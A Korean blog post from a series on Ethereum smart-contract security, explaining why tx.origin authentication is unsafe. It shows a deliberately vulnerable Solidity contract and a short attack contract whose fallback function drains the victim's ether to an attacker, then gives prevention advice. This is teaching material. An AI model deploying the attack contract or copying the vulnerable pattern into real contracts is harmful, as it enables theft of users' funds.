[마스터링 이더리움] 스마트 컨트랙트 보안 - 패턴16 Tx.Origin 인증 (마지막)

in #kr5 years ago

Tx.Origin 인증

  • 솔리디티는 tx.origin이라는 전역변수가 있다. 이것은 call을 호출한 계정의 주소를 저장한다.
  • 컨트랙트에서 이 값을 이용해서 인증과 같은 작업을 하는 것은 위험하다

취약점

  • Phishable 컨트랙트 (피싱 위험 있는 컨트랙트)
1 contract Phishable {
2   address public owner;
3
4   constructor (address _owner) {
5     owner = _owner;
6   }
7
8   function () public payable {} // collect ether
9
10  function withdrawAll(address _recipient) public {
11    require(tx.origin == owner);
12    _recipient.transfer(this.balance);
13  }
14 }
  • 11행에서 tx.origin을 아용하여 withdrawAll 함수를 실행할 수 있다.

  • AttackContract 컨트랙트

1 import "Phishable.sol";
2
3 contract AttackContract {
4
5   Phishable phishableContract;
6   address attacker; // The attacker's address to receive funds
7
8   constructor (Phishable _phishableContract, address _attackerAddress) {
9     phishableContract = _phishableContract;
10    attacker = _attackerAddress;
11  }
12
13  function () payable {
14    phishableContract.withdrawAll(attacker);
15  }
16 }
  • 일반 사용자는 해커의 컨트랙트가 일반 계정인지 알고 금액을 입금할 수 있다.
  • 이렇게 되었을 때, Phishable 컨트랙트를 생성한 일반 사용자가 AttackContract에 이더를 보내면 AttackContract의 13행 폴백함수가 실행된다.
  • 여기서 다시 해커는 Phishable 컨트랙트의 10행의 withdrawAll함수를 호출하는데, 인자로 해커의 계정 주소를 넣는다.
  • AttackContract의 11행에서 tx.origin은 Phishable 컨트랙트를 생성한 일반 사용자이다. 왜냐하면, 이 사용자가 애초에 AttackContract의 폴백함수를 호출했고, 거기서 다시 Phishable의 withdrawAll함수를 호출했기 때문이다. 이처럼 tx.origin은 애초에 call을 시작한 계정 정보를 계속 유지하고 있다.
  • 그 다음은 다 털리는 일만 남았다!

예방기법

  • tx.orgin을 어떤 권한 설정으로 사용하지 말라
  • 다만, 정당한 사례도 있다. 외부 컨트랙트가 현재 컨트랙트를 호출하지 못하게 막는데 require(tx.origin == msg.sender)처럼 사용할 수 있다.

이것으로 길고 긴 스마트 컨트랙트 보안의 16가지 패턴을 알아봤습니다. 번역서로는 내용 파악이 어려워서 원서와 인터넷 검색을 통해 이해한 내용을 바탕으로 적었습니다.

책의 저자는 스마트 컨트랙트 보안 개발을 할 때, 다음 3가지를 강조했습니다!

  1. 잘 구축되고 검증된 라이브러리를 사용하라.
  2. OpenZeppelin이 좋다
  3. 혼자 개발하지 말고, 검증된 라이브러리를 사용하라!

Coin Marketplace

STEEM 0.19
TRX 0.15
JST 0.029
BTC 63398.53
ETH 2660.51
USDT 1.00
SBD 2.77